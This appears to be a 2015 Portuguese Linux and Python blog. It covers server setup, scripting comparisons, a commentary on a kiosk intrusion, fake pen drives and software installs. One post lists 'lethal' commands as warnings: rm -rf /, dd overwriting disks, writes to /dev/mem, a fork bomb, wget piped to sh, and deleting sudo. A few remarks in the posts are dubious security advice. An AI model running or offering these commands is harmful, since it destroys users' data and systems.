Salve (com CTRL+X) esta configuração.

Reiniciar o servidor:
$ sudo service lighttpd restart
Pronto. Já está tudo funcionando. Podemos sair do terminal e com um editor (recomendo o PyCharm) criar um arquivo de teste (por exemplo: hello.py) na pasta ~/lighttpd/python com a seguinte codificação:
#!/usr/bin/python
print('Content-Type: text/html\n')
print('<html><head>')
print('<title>Primeiro Script</title></head>')
print('<body><h1>Script Python em Lighttpd</h1>')
for count in range(1,50):
   print('Python Ativado ')
print('</body></html>')
Acesse novamente o navegador e digitar o seguinte endereço http://localhost/python/hello.py e obtemos a seguinte imagem:

Tudo pronto e já podemos criar nossos sites utilizando o poder do Python.

Obrigado e até a próxima
Fernando Anselmo

domingo, 9 de agosto de 2015

Linux - Invasão em Curitiba

Essa semana uma mensagem circulou entre várias redes sociais, a Invasão nos sistemas dos Terminais de Curitiba que ao invés das informações cotidianas mostrava imagens de um Site Pornográfico. Dois detalhes fizeram parte nessa imagem:
  1. Claramente se reconhece o Sistema Operacional como o Ubuntu.
  2. O uso do software Team View - que permite a comunicação remota entre máquinas.

Certa vez um aluno me perguntou se com meus anos de experiência na área de informática conseguiria invadir um Sistema Operacional, respondi um sonoro depende. Depende dos seguintes fatores:
  1. Qual sistema? Está bem atualizado?
  2. Existe algum contato externo? (como por exemplo Internet)
  3. A senha das ferramentas administrativas é segura?
É possível invadir um Linux, ele insistiu. Facilmente respondi, principalmente se está totalmente aberto. Como assim? Ele me perguntou. Certa vez cheguei em uma máquina na qual a senha do root era admin123, na outra o JBoss (que libera vários acessos e portas) tinha como senha principal a padrão Admin/Admin e outra o sistema era tão antigo que acredito que tinha sido instalado através de disquetes.

No caso dessa invasão, percebo 2 detalhes mortais: Primeiro, o excesso de software (facilmente visualizado na barra do Ubuntu a esquerda), se isso é um terminal com um fim específico remova tudo que pode auxiliar um invasor em seu trabalho. Segundo, o invasor deve ser provavelmente um guri carregado de espinhas, pois se fosse um profissional teria mostrado alguma informação positiva como forma de protesto e não um site pornô (que por sinal é um dos mais famosos do mundo). Então, se um cracker júnior conseguiu fazer isso o que faria um profissional em invasões.

Existem no mundo profissionais que são contratados por empresas de segurança para invadir sistemas de modo a descobrir falhas. Por exemplo, a Microsoft publicou essa semana um aviso de recompensar com U$ 100 mil para aquele que mostrar falhas em seu novo sistema operacional Windows 10.

Não pense que por instalar o Linux finalmente estará livre de pragas e ataques, muito pelo contrário, existem invasões em aparelhos celulares (com todos os sistemas possíveis), Linux de todas as formas e tipos. Então as seguintes dicas preventivas continuam valendo:
  1. Deixe sempre seu sistema bem atualizado e somente com os softwares de procedência conhecida.
  2. Proteja bem a senha do root, caracteres maiúsculas e minúsculas, e números. Certa vez recebi a senha automática de um site, uma verdadeira sopa de letrinhas com 15 caracteres, tive que decorá-la pois não se permitia a troca da senha, resultado que a uso (com algumas variações) em diversos sistemas que configuro.
  3. Se vai usar softwares que permitem o controle total do computador, tais como TeamView ou LogMeIn, deixe muito bem configurado no Firewall as permissões de uso.
  4. A Internet é maravilhosa, só que para usá-la devemos ser responsáveis.
Todo sistema é passível de invasão, quem vai invadi-lo é que pode variar. Espero sinceramente que isso sirva de aviso para o responsável e a muitas outras empresas. Pois se um pseudo-cracker, que foi o responsável por isso e quis apenas testar o que aprendeu com algumas ferramentas de invasão, mas não soube mostrar nada de bom, pelo menos, podemos tirar algumas valiosas lições.

Obrigado e até a próxima
Fernando Anselmo

Não confunda as criaturas do mundo da informática: Hacker é a pessoa que elabora e modifica softwares e hardwares de computadores, seja desenvolvendo funcionalidades novas ou adaptando as antigas. Cracker é usado para aquele que pratica a quebra (ou cracking) de um sistema de segurança. E ambos os termos podem ser empregados para boas ou más intenções, por exemplo, se a pessoa cria ou modifica vírus de forma a contaminar computadores ou se modifica sistemas de antivírus para protegê-los é chamada Hacker de forma similar.

Conheça mais sobre segurança Linux neste interessante artigo com um passo a passo para manter um Sistema Linux Seguro.

sexta-feira, 7 de agosto de 2015

Linux - Descobrindo fraudes de Pen Drive

Com um pouco de pesquisa na Web descobri que existe um Pen Drive com capacidade de 2 Tb, isso mesmo, 2 Terabytes, ou seja, muito maior que alguns HD externos que existem por aí. Como um cara que vive de informática procurei mais informações e junto com alguns colegas importamos por míseros R$ 33,00 o tão sonhado Pen Drive de 2 Tb com marca HP (o que por si só já me inspirou muita confiança no produto).

Como esse aí da imagem, antes mesmo do produto chegar a venda foi cancelada e o dinheiro completamente devolvido, como assim chegar? Passado alguns dias o produto estava na minha mão. Mas qual foi o motivo que o dinheiro foi devolvido? Simples, o site deve ter identificado a série de reclamações sobre o produto.

Primeiro quero deixar claro que a HP nada tem a ver com esse produto. Segundo que na embalagem uma coisa me deixou com uma pulga atrás da orelha, dizia que o produto só podia ser usado por Windows ou Mac. Como assim? Se a formatação do mesmo era FAT32 porque não podia usar no Linux que lê sem o menor problema esse tipo de partição?

Comecei então a correr atrás do que estava acontecendo, primeiro que realmente a partição em todos os sistemas operacionais que testei indicava realmente que a capacidade era de 2 Tb. Só que ao copiar um determinado conjunto de arquivos que somavam mais do que um determinado tamanho e desplugar o Pen Drive os arquivos simplesmente desapareciam. Alguma coisa estava muito errada, resolvi então usar o Linux para descobrir.

Com alguns comandos descobri que o ChipSet do Pen Drive não era HP, mas algo como Alcor e em outro nem marca tinha. Com uma consulta a base de dados do iFlash, consegui localizar o tamanho correto: 101 Mb. Isso mesmo o que era para ser um produto de capacidade de 2 Terabytes possuía na verdade a capacidade de um Pen Drive que se fosse vendido atualmente não custaria R$ 1,00 (isso se alguém quisesse algo com capacidade de 100 disquetes que pode ser usado para dar de brinde em festa de criança - ou talvez em um casamento com as fotos dos padrinhos).

Estou postando isso para que não caia no conto do Pen Drive maravilhoso de 500 Gb, 1 Tb ou mesmo 2 Tb e perca, pior que seu dinheiro, arquivos que lhe farão uma enorme falta - ATENÇÃO: Este Pen Drive copia toda informação, só que ao desplugar ou tentar ler é que começam os problemas.

Obrigado e até a próxima
Fernando Anselmo

segunda-feira, 3 de agosto de 2015

Linux - 9 comandos fatais

Este artigo foi criado com base no artigo de Joel Lee entitulado "9 Lethal Linux Commands You Should Never Run" e por achá-lo importante resolvi adaptá-lo aqui. Não espere uma tradução literal.


Muitos usuários Linux utilizam o terminal, e o sistema supõe que todos esses usuários são extremamente inteligentes e sabem exatamente o que estão fazendo, mas são todos humanos e acredito que a característica principal da humanidade é incorrer em erros. Esses 9 comandos a seguir nunca devem ser tentados por nenhum usuário do Linux, com o perigo de danificar irreparavelmente o sistema.

Exclusão Recursiva

Um dos parâmetros mais usados com o comando rm é o -rf, principalmente para se eliminar arquivos e pastas de maneira recursiva. Mas digitar o comando:
rm -rf /
Pode ser extremamente desastroso, dica: Nunca use o sudo para operar tal comando a menos que tenha a total certeza do que está fazendo.

Formatar seu HD

Sempre que for formatar um Pen Driver se corre o risco de digitar o comando:
mkfs.vfat /dev/hda
Pode parecer bobeira, mas já perdi um Pen Driver cheio de arquivos por digitar o endereço errado, imagina se tivesse sido o HD?

Reescrever o HD

É muito comum a geração de arquivo desviando a saída de algum comando com o > e, talvez por pressa, se resolva realizar esse processo diretamente em um Pen Drive e termine escrevendo o seguinte comando:
comando > /dev/hda
Não tenha pressa, primeiro gere o arquivo e depois mova-o para seu local de destino.

Limpando o HD

Este é mais um daqueles comandos que podem estragar completamente o HD. O que acontece é, literalmente, encher seu HD com Zeros:
dd if=/dev/zero of=/dev/hda/
Normalmente é um bom comando para ser usado em Pen Drive, além de fazer as coisas com calma use sempre o comando fdisk -l para saber aonde estão suas unidades.

Implodir o HD

Que tal conseguir anular completamente seu HD? Pois basta usar o comando:
mv / /dev/null
Este arquivo /dev/null é especial no Linux para as áreas de descarte do sistema, sendo extramente útil quando se deseja eliminar uma pasta confidencial.

Pânico no Kernel

Em Windows temos a famosa Tela Azul, já em Linux temos esses terríveis comandos:
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
Basta digitar qualquer uma dessas linha para forçar uma reinicialização do sistema ou talvez algo pior.

Fork Bomb

Este termo, Fork Bomb (também chamado de Rabbit Virus ou Wabbit) é um ataque de negação de serviço em que um processo replica-se continuamente até esgotar todos recursos disponíveis no sistema, causando falta de recursos, retardamento ou deixar de funcionar.
Bash é a linguagem oficial do terminal e muito poderosa, e o seguinte comando no terminal:
:(){:|:&};:
Causa um Fork Bomb, então sempre que obter um Script que promete milagres, tente primeiro entender seu conteúdo antes de rodá-lo.

Executar um Script Remotamente

wget é um comando muito utilizado para retornar conteúdo da Web ou mesmo para acessar Sites, porém um simples combinação deste comando pode ser mortal:
wget http://uma-url-nao-confiavel -O- | sh
Essa combinação baixa um conteúdo qualquer da Web e o repassa ao comando sh para sua imediata execução. Se isso apontar para um Script malicioso pode dar adeus ao seu sistema.

Desabilitar os Privilegios do Root

Qualquer usuário Linux sabe que o usuário root é o Deus do Sistema e o utiliza indiscriminadamente, mas usar o comando:
rm -f /usr/bin/sudo;rm -f /bin/su
É uma forma muito estranha de brigar com Deus. Lembre-se que o root é seu amigo e só deve ser usado em ocasiões de extrema necessidade.

Esses 9 comandos não devem ser usados em nenhuma ocasião, como medida de segurança tenha sempre seus backups em dia. Quando abrir uma janela de terminal não tenha pressa e tenha a certeza de qual comando está digitando antes de apertar o Enter.

Obrigado e até a próxima
Fernando Anselmo 

domingo, 26 de julho de 2015

Scripts - Pegar informações

No artigo anterior vimos que as linguagens Bash e Python poderiam ser utilizadas de modo similar, porém algumas vezes é melhor escrever um script em Bash do que em Python e vice-versa. A partir deste, vamos começar a ver alguns Casos de Uso para os scripts.


Abandonei Perl? Pessoalmente não consigo ver qualquer diferença entre Python e Perl, como o mercado chama mais para essa primeira prefiro então fixar esses artigos apenas entre Bash e Python. Porém não espere que ficarei repetindo os scripts entre uma e outra linguagem, tal como fiz até o momento, usarei ambas para diferentes scripts como forma de sempre usarmos o modo mais simples que cada linguagem oferece.

Neste artigo vamos ver como pegar informações para atividades úteis do dia a dia.

1º Problema - Para realizar alguns backups, é necessário criar 10 diretórios, abaixo de um diretório pré-determinado (/backup), com um nome que é definido em cada dia, por exemplo, se o nome for lunes, os diretórios devem ser criados como lunes1, lunes2, e assim sucessivamente.

O seguinte script em Bash resolveria facilmente este problema:
#!/bin/bash
echo "Digite o nome das pastas:"
read NOME
cd "backup/"
for NUM in `seq 1 10`; do
    mkdir "$NOME$NUM"
done
2º Problema - Em cada uma das pastas criadas deve ser criado um arquivo, e dentro deste o seguinte conteúdo: "Backup realizado no dia dd/mm/aaaa às hh:mm", com o nome de data.log. Obviamente, devemos passar para o Script o nome do dia.

Para lidar com arquivos fica mais simples se escrevermos o script em Python, do seguinte modo:
#!/usr/bin/env python
import time
arqDia = raw_input('Nome do arquivo do dia: ')
for num in range(1, 11):
    nomeArq = 'backup/' + arqDia + `num` + '/data.log'
    dataFile = open(nomeArq, 'w')
    dataFile.write("Backup realizado no dia " + time.strftime("%d/%m/%Y") + " as " + time.strftime("%H:%M:%S") + '\n')
    dataFile.close()
print "Arquivos criados"
Ou seja, executando ambos arquivos faríamos uma tarefa que provavelmente gastaríamos um bom tempo para realizá-la diariamente (agora imagine com mais pastas, mais arquivos ou várias vezes ao dia).

Perdoe-me ser repetitivo, mas peço que não interprete que ambos os scripts não poderiam ser escritos tanto em Bash como em Python. E se desejar, faça isso como forma de aprendizado.

Obrigado e até a próxima
Fernando Anselmo

domingo, 12 de julho de 2015

Scripts - Diferenças entre Bash e Python

No artigo anterior discutimos sobre a utilidade dos Scripts para o usuário do Sistema Operacional e vimos que em Linux os usuários preferem estes escritos em Bash ou Python. Vamos falar agora sobre a usabilidade na construção de Scripts escritos nessas linguagem.

Começando por sua criação, para o Linux, um dos melhores editores que conheço é chamado Kate que possui um terminal embutido, veja uma imagem dele abaixo. Já a sua localização pode variar de usuário para usuário, pessoalmente gosto de mantê-los organizados embaixo de uma única pasta.


Para criar um Script, criamos um arquivo texto comum, na primeira linha colocamos o comando que indica ao sistema qual linguagem estamos utilizando e fornecemos a permissão para o arquivo ser um executável, com o comando:
$ chmod +x [nomearquivo]
Lembre-se que, por padrão, scripts Python possuem a extensão do arquivo .py enquanto que em Bash usamos .sh, recomendo que utilizemos esta forma de modo a identificar mais facilmente os arquivos.

Não existe a menor diferença entre o que podemos conseguir com Bash ou Python, o que existe é facilidade de escrita. Por exemplo, o script a seguir dispara dois comandos para obtermos algumas informações do sistema sobre dois comandos que são muito mais úteis com seus parâmetros:
  • uname: fornece o nome do seu sistema, porém com o parâmetro -a fica mais completo.
  • df: fornece o espaço livre e ocupado de cada partição, porém com o parâmetro -h essa informação fica, visualmente falando, melhor.
O script criado em Bash para executar esses comandos, com os respectivos parâmetros, teria a seguinte codificação:
#!/bin/bash
printf "Sobre seu sistema:\n"
uname -a
df -h
Já a mesma funcionalidade se fosse escrita em Python, seria assim:
#!/usr/bin/env python
import subprocess
print "Sobre seu sistema:"
subprocess.call(["uname", "-a"])
subprocess.call(["df", "-h"])
Ou seja, notamos que neste caso Bash seria muito mais simples e fácil de entender. Mas então basta apenas usar Bash e pronto? Nem sempre, vamos comparar dois Scripts que buscam uma determinada palavra em um arquivo qualquer, para o nosso exemplo crie um arquivo chamado "arquivo.txt" com o seguinte conteúdo:
Trecho esta em 1
Aqui em dois nao tem
Em tres tem Trecho
Em quatro nao
E tem trecho em cinco, mas minusculo
Está sublinhado a palavra "Trecho" apenas para observarmos melhor onde ocorre, e em negrito a palavra iniciada com a letra em minúscula. Em Bash o script seria escrito assim:
#!/bin/bash
ARQUIVO="arquivo.txt"
TRECHO="Trecho"
TOTAL=(`tr " " "\n" < $ARQUIVO | grep $TRECHO|wc -w`)
echo "A palavra '$TRECHO' ocorre $TOTAL vezes no arquivo $ARQUIVO."
Já em Python ficaria assim:
#!/usr/bin/env python
arquivo = "arquivo.txt"
trecho = "Trecho"
total = 0
try:
    fileObject = open(arquivo)
    for lin in fileObject:
        total += lin.count(trecho)
except:
    print "Arquivo " + arquivo + " inexistente."
    sys.exit(1)
finally:
    fileObject.close()
print "A palavra '" + trecho + "' ocorre " + str(total) + " no arquivo " + arquivo + "."
Algumas observações sobre o Script em Bash, primeiro que as variáveis não obrigatoriamente devem estar em letras maiúsculas, porém o sinal de igual deve estar colado (sem uso de espaço). Segundo é que o comando colocado em TOTAL usa dois "macetes" o primeiro é que o sinal "`" não é aspas simples, mas o caractere que normalmente usamos para conseguir a crase. E finalmente o comando é uma agregação dos comandos "tr", "grep" e "wc" para conseguirmos a totalização das ocorrências.

Já em Python, apesar de muito maior acredito que seja de auto entendimento (obviamente partindo do princípio que conhece a linguagem), ou seja, no caso de uma manutenção seria muito mais simples em Python do que em Bash. Scripts devem ser usados para serem de fácil entendimento, não adianta escrevermos 3 ou 4 linhas e na hora que precisamos modificar algo ficarmos completamente perdido.

Se duvida, tente modificar ambos os scripts para localizar a palavra pouco importando letras maiúsculas ou minúsculas, veja qual dará mais trabalho.

Obrigado e até a próxima
Fernando Anselmo

domingo, 5 de julho de 2015

Scripts - Facilite seu trabalho

Uma das grandes diferenças entre usuário Linux e Windows é o modo como usam a Janela do Terminal (ou de comandos). Os usuários Windows mal sabem sua existência e só dão o comando CMD em caso de extrema necessidade, e sendo muito experientes. Acho isso uma pena pois muita coisa poderia ser facilmente resolvida através dessa janela.

Para os que vivem no mundo Linux, não se passa um único dia sem ao menos acessar essa janela. Porém, muitos a usam de modo muito primitivo, por exemplo, para realizar uma limpeza no sistema preferem abri-la e digitar a série de comandos necessários para realizar a tarefa, mesmo que isso tenha que ser feito semanalmente.

Para ambos os mundos existe a solução adotada do Grande Porte para tarefas rotineiras, a criação de arquivos BATCH - São arquivos que contém os comandos para que o Sistema Operacional realize determinadas operações de forma conjunta. No Windows esses arquivos são nomeados para .bat e contém comandos em linguagem DOS. Já no Linux isso vira a festa de linguagem, mas seu modo de execução é similar em um arquivo formato texto, colocar os códigos, fornecer a permissão de execução para o arquivo e executá-lo com o comando: ./nomearq.

Entre as principais linguagens que podemos utilizar se destacam: Bash (nativa do terminal), Python e Perl. Outro dado curioso é a extensão do arquivo que, diferente do Windows, no Linux é uma mera padronização, assim para Bash usamos a extensão .sh, em Python a extensão .py e para Perl a extensão .pl. Porém poderíamos colocar qualquer coisa que funcionaria do mesmo modo, o que indica ao sistema operacional é a primeira linha do Script (observe as diferenças abaixo).

Comparemos um laço de decisão com o comando IF nas três linguagens para verificarmos essa diferença, primeiro em Bash:
#!/bin/bash
if [ -d "/tmp" ] ; then
  echo "/tmp é um diretório"
else
  echo "/tmp não é um diretório"
fi
O equivalente em Python:
#!/usr/bin/env python
import os
if os.path.isdir("/tmp"):
  print "/tmp é um diretório"
else:
  print "/tmp não é um diretório"
E o equivalente em Perl:
#!/usr/bin/perl
if (-d "/tmp") {
  print "/tmp é um diretório";
} else {
  print "/tmp não é um diretório";
}
Talvez com um laço de repetição possamos perceber melhor essa diferença, novamente iniciando com Bash:
#!/bin/bash
for a in 1 2; do
  for b in a b; do
    echo "$a $b"
  done
done
O equivalente em Python:
#!/usr/bin/env python
for a in [1, 2]:
  for b in ['a', 'b']:
    print a, b
E o equivalente em Perl:
#!/usr/bin/perl
foreach $a ('1', '2') {
  foreach $b ('a', 'b') {
    print "$a $b\n";
  }
}
Como todas derivam do C então as diferenças entre elas são muito sensíveis. Entre essas três, as duas primeiras são preferidas pela maioria dos usuários, conforme demonstrou uma pesquisa que realizei na lista Linux Brasil, da rede social Google+:


E apenas como característica de controle, fiz a mesma pesquisa na lista Ubuntu - Linux - Brasil, na mesma rede, obtive resultados similares:


O próprio mercado já percebeu isso, essa semana contei um aumento de solicitação para programadores nas lista de emprego com conhecimento tanto em Python como Bash para Administradores de Sistema Operacional Linux. Por esse motivo, decidi escrever uma série de artigos mostrando algumas soluções administrativas para auxiliar algumas tarefas rotineiras do Linux.

Obrigado e até a próxima
Fernando Anselmo

sábado, 27 de junho de 2015

Phyton - Conversão de EML para HTML

Resolvi usar a linguagem Python para resolver alguns problemas que tenho no dia a dia, o primeiro deles é os e-mails que recebo da lista EFR, são dicas incríveis de inglês e gosto de guardá-las para estudo.

Meu problema é que o Thunderbird salva em formato EML e convenhamos que não é muito agradável armazenar estas dicas neste formato. Dentro deste arquivo existe o conteúdo da aula que está em formato HTML e, além disso, algumas dicas vem com um link para baixar o Áudio da aula. Deste modo tinha que realizar os seguintes passos:
  • Salvar com o Thunderbird o arquivo em formato EML.
  • Abrir o arquivo com um editor e copiar a parte HTML com o conteúdo desejado.
  • Salvar em um arquivo com a extensão HTML.
  • Abrir este arquivo, clicar no link contendo o áudio da aula e realizar o download.
Baixe aqui um exemplo deste arquivo.

Concordo que são ações bem simples em se fazer e gasto no máximo 5 minutos para realizá-las, porém são 3 emails por dia, ou seja 21 emails por semana o que pode tornar 5 minutos em 01:45 por semana. Já aprendi que tempo é muito valioso e não quero perdê-lo assim.

Python é uma linguagem muito simples, principalmente para aqueles que conhecem algum derivado do C como Java ou mesmo PHP e C#. No Linux já está instalado por padrão e nos outros ambiente basta baixar do site oficial. Aqui está o código que fiz para realizar todo o serviço descrito sobre o arquivo:
# ---------------------------------------------------------------------------------
# Script: LendoArqs.py
# Linguagem: Python
# Autor: Fernando Anselmo
# Criado em: 23/06/2015
# Funcionalidade:
#   Converter o email da lista 'Aprendendo Ingles para HTML e baixar o arquivo MP3,
#   caso exista.
# Arquivo de Entrada: formato EML (salvar pelo Thunderbird)
# ---------------------------------------------------------------------------------
import wget

class Leitura:
    def obterArquivo(self):
        print('=' * 60)
        print('Converter o email da lista \'Aprendendo Ingl\u00EAs\' para HTML')
        print('E baixar o arquivo MP3, caso exista.')
        print('Por Fernando Anselmo - Vers\u00E3o 1.0')
        print('Arquivo de Entrada: formato EML (salvar pelo Thunderbird)')
        print('Site: http://www.aprendendoingles.com.br/')
        print('=' * 60)
        self.nomeArq = input('Informe o nome do arquivo (ex. EFR_0001): ')
        self.caminho = input('Informe a pasta que se encontra o arquivo (ex. F:/): ')
        self.url = ''

    # Montagem do arquivo
    def montagem(self):
        entrada = open(self.caminho + self.nomeArq + '.eml', 'r+')
        saida = open(self.caminho + self.nomeArq + '.html', 'w')
        inicia = False
        mostra1 = True
        mostra2 = True
        print('Passo 1. Gerando arquivo...')
        for linha in entrada:
            if linha.strip().startswith('<!DOCTYPE'):
                inicia = True
            if '<div align="center">' in linha:
                mostra1 = False
            if linha.strip().startswith('<div id="fromDMARC"'):
                mostra2 = False
            if not mostra2 and linha.strip().startswith('</body>'):
                mostra2 = True
            if inicia and mostra1 and mostra2 and len(linha.strip()) > 0:
                if (".mp3" in linha):
                    self.url = linha
                saida.write(linha)
            if not mostra1 and linha.strip().startswith('</div>'):
                mostra1 = True
            if linha.strip().startswith('</html>'):
                break
        print('Passo 2. Arquivo gerado.')
        # Fechar o arquivo
        entrada.closed
        saida.closed

    # Baixar (se caso) o arquivo MP3
    def baixarArquivo(self):
        if (len(self.url) > 0):
            print('Passo 3. Baixando arquivo MP3...')
            self.url = self.url[self.url.index('http'):self.url.index('.mp3')+4]
            wget.download(self.url, self.caminho + self.nomeArq + '.mp3')
            print('Passo 4. Arquivo MP3 Baixado.')
        else:
            print('Passo 3. N\u00E3o cont\u00E9m arquivo MP3 para baixar.')

# Metodo principal
def main():
    ler = Leitura()
    ler.obterArquivo()
    ler.montagem()
    ler.baixarArquivo()

# Chamada inicial
if __name__ == '__main__':
    main()

# Final do Arquivo
Para executá-lo basta salvar o arquivo com o nome LendoArqs.py e na janela de comandos digitar: python LendoArqs.py e o programa pedirá as informações necessárias. Lembro que para Python 2 essas informações devem ser entre aspas simples.

Baixe aqui o resultado em HTML após a execução do programa.

Não pretendo aqui dar aula de Python, recomendo se deseja aprender, faça o download gratuito do livro "Thinking in Python". Este programa está dividido em 3 partes, a primeira solicita as informações necessárias para converter o arquivo, a segunda acha o trecho correto dos códigos HTML e salva um arquivo de mesmo nome com a extensão HTML e a última verifica a existência do arquivo MP3 e procede, caso exista, seu download.

ATENÇÃO: Este programa requer o módulo wget que pode ser obtido neste site. Basta descompactar o arquivo wget.py para a pasta de instalação do Python (ex. No Linux em /usr/lib).

Outra observação é que tudo poderia ser bem mais simples, mas resolvi deixar em formato de uma classe seguindo os conceitos da Orientação a Objetos de modo que possa aproveitá-lo em outras construções.

Obrigado e até a próxima
Fernando Anselmo

domingo, 10 de maio de 2015

Linux - VirtualBox e Ubuntu 15.04

Coisas que acontecem, ao atualizar para a nova versão do Ubuntu 15.04 a VirtualBox parou de funcionar e acusa um erro que tinha que recompilar pois estava em uma versão diferente do sistema operacional. Se isso está acontecendo com você, não se desespere e vamos a solução e de quebra instalar a versão correta Oracle VirtualBox 4.3.


Primeiro passo e remover toda e qualquer VirtualBox que está em seu sistema, calma pois estou falando do aplicativo, nada de remover as máquinas virtuais criadas. E não se preocupe pois ao final do processo não se perderá nada. Use o seguinte comando no terminal:
$ sudo apt-get remove virtualbox*
Segundo passo é abrir o aplicativo Programas e atualizações e verificar se na aba "Outros programas" ou em "Autenticação" existe algo relativo a VirtualBox. Se existir elimine e feche o aplicativo para atualizar.

Terceiro passo uma vez que temos a certeza que tudo relativo ao aplicativo VirtualBox foi eliminado vamos proceder sua instalação novamente.

1. Baixe a chave de autenticação com a seguinte instrução no terminal:
$ wget http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc
2. Abra o aplicativo Programas e atualizações e na aba "Autenticação" importe este arquivo.

3. Feche o aplicativo e retorne ao terminal, digite os seguintes comandos para instalar a VirtualBox:
$ sudo sh -c 'echo "deb http://download.virtualbox.org/virtualbox/debian trusty contrib" >> /etc/apt/sources.list'
$ sudo apt-get update
$ sudo apt-get install virtualbox-4.3
4. O último passo é instalar o DKMS para corrigir problemas de vídeo:
$ sudo apt-get install virtualbox-guest-dkms
E pronto, pode chamar a VirtualBox através do Dash que todas as máquinas virtuais existentes estão funcionando corretamente.

Obrigado e até a próxima
Fernando Anselmo

domingo, 3 de maio de 2015

Linux - Ambiente JavaScript com o Meteor

Meteor permite escrever uma aplicação completa em linguagem JavaScript e com um formato de dados padrão JSON. É um projeto que tem como objetivo escrever aplicações Web em tempo real de modo rápido e divertido. Para montagem do Ambiente iremos necessitar de três produtos:

  • NodeJS - Servidor de aplicações JavaScript
  • MongoDB - Banco de Dados NoSQL
  • Meteor - Criador de aplicações JavaScript

Meu ambiente é o Ubuntu 15.04, então todos os comandos escritos aqui serão para este, outros ambientes devem sofrer suas devidas alterações.

1. Instalação do NodeJS


Se o antigo node já estiver instalado, remover com o comando:
$ sudo apt-get remove --purge node
Verificar no site https://nodejs.org/download/ a ultima versão do Node e baixar o pacote tar.gz para o Linux Binaries 32 ou 64.

Descompactar na pasta correta:
$ sudo tar -C /usr/local --strip-components 1 -xzf node-[versão]-linux-[x86/x64].tar.gz
Testar a instalação:
$ node -v && npm -v
Definir o ambiente, editar o arquivo bashrc:
$ sudo gedit .bashrc
Adicionar o seguinte comando para definir a variável NODE_ENV:
export NODE_ENV='development'
Salvar e recarregar este arquivo:
$ source ~/.bashrc
Testar a variável criada:
$ echo $NODE_ENV
Para testar todo ambiente, executar o comando:
$ node
Entramos no modo REPL (Read-Eval-Print-Loop), que permite executar códigos JavaScript. Digitar
> console.log("Hello World");
E como resultado deve aparecer a seguinte tela:


2. Instalação do MongoDB


O MongoDB apresenta um problema de compatibilidade com o Ubuntu 15.04, então se esta é sua versão instale primeiro o upstart-sysv para subir corretamente o serviço, recomendo reiniciar o computador após este comando (reiniciar o computador em seguida):
$ sudo apt-get install upstart-sysv
Adicionar a chave:
$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10
Adicionar o repositório de pacotes - atualmente neste repositório a maior versão disponível é a 14.04 (Trusty Tair):
echo "deb http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list
Realizar uma atualização dos pacotes:
$ sudo apt-get update
Instalar o banco:
$ sudo apt-get install mongodb-org
Verificar se o mongo está em execução:
$ ps -ef | grep mongo
E ver a versão com o seguinte comando:
$ mongo --version
Ou acesse o shell com o seguinte comando:
$ mongo

3. Instalação do Meteor


Executar o Script de instalação do Meteor:
$ curl https://install.meteor.com/ | sh
Aplicar um Teste final para subir uma aplicação exemplo.
$ meteor create meu-teste
$ cd meu-teste
$ meteor
Acessar o seguinte endereço no navegador: http://localhost:3000/ e como resultado será mostrado a seguinte página:


Obrigado e até a próxima
Fernando Anselmo

sexta-feira, 1 de maio de 2015

Linux - Instalar o Visual Studio Code

O Visual Studio é uma suíte de desenvolvimento conhecida dos desenvolvedores Microsoft porém com um preço um tanto salgado, uma versão Professional 2013 sai por R$ 1.327,00 já a versão Ultimate 2013 com o preço de R$ 35,367,00. O que deveria entristecer o bolso de muitos desenvolvedores.

A notícia que mudou o mercado essa semana foi a mudança do nome do novo navegador da Microsoft de Spartan para Edge. Ops! Não foi essa, foi a disponibilização do editor Visual Studio Code, vou abreviar neste artigo para VSC, para os ambientes Windows (obviamente), MacOS e Linux gratuitamente (isso não quer dizer "livremente" - os fontes não vem incluído) e busca ser um editor simples, leve e compacto. Para os usuários Linux podemos instalá-lo facilmente através de alguns passos em uma janela de terminal, vamos a eles:
  1. Adicionar o repositório do Make
  2. sudo add-apt-repository ppa:ubuntu-desktop/ubuntu-make
    sudo apt-get update
    
  3. Instalar o Make
  4. sudo apt-get install ubuntu-make
  5. Instalar o Visual Studio a partir do Make
  6. umake web visual-studio-code
Durante o processo será solicitado para confirmar a pasta de instalação e se aceita ou não os termos da licença. Uma vez tudo instalado teremos o VSC a nossa disposição:


E para quê serve isso? Bem, este editor foi criado com base no Atom da GitHub (antes que algum MicrosoftMan brigue comigo favor olhar este artigo), e busca ser um ambiente mais leve para codificação Web e Cloud, traduzindo é um editor de códigos para JavaScript, TypeScript, Node.js e ASP.NET 5. Só que esse número tende a aumentar e muito pois a lista de linguagens suportadas CoffeeScript, Python, Ruby, Jade, Clojure, Java, C++, R, Go, makefiles, shell scripts, PowerShell, bat e xml, além de autocomplete para HTML, CSS, LESS, SASS, e Markdown.

Obrigado e até a próxima
Fernando Anselmo

Obs. Se preferir, acesse este link para obter o pacote .deb.

quinta-feira, 23 de abril de 2015

Linux - Nunca foi tão fácil trocar a versão do SO

A novidade que aconteceu essa semana no mundo do Linux Ubuntu foi a chegada da versão 15.04 - Vivid Vervet, mais especificamente hoje dia 23/04. O que isso significa? Que uma grande maioria que usa esse Sistema Operacional partiu para as atualizações, inclusive enquanto estou escrevendo esse texto meu Ubuntu está se atualizando...

Espera um pouco, não tem que parar, retirar os arquivos pessoais, instalar todo o sistema (algumas vezes até formatar a máquina), colocar novamente os programas e os arquivos pessoais e reconfigurar todo o ambiente ao seu jeito? Não, esse é o mundo Linux e é assim que se procede todas as instalações. Um detalhe a mais é que tudo pode ser realizado em modo gráfico (a partir do 14.x), basta acessar o aplicativo Atualizador de Programas que será mostrada a seguinte tela:


Observe o botão Atualizar..., então, clicamos e aguardamos o processo terminar - e isso implica que não existe a menor desculpa para parar de realizar seu trabalho. Isso mesmo. Enquanto o sistema se atualiza tudo ocorre por debaixo dos panos como deve ser com um Sistema Operacional de verdade. Pois, nesse meio tempo, a seguinte janela vai mostrando o estado de sua atualização:


Ao terminar, o computador será reiniciado e o novo sistema estará pronto para ser usado, com todos os arquivos pessoais, os programas anteriormente instalados e todas as configurações realizadas para deixar o sistema a meu gosto. Simples assim, não parei de trabalhar, não removi um único arquivo do meu sistema com medo de perdê-lo, meu papel de parede será o mesmo e o único detalhe perceptível nessa mudança é na janela Sobre este computador que mostrará a nova versão 15.04.

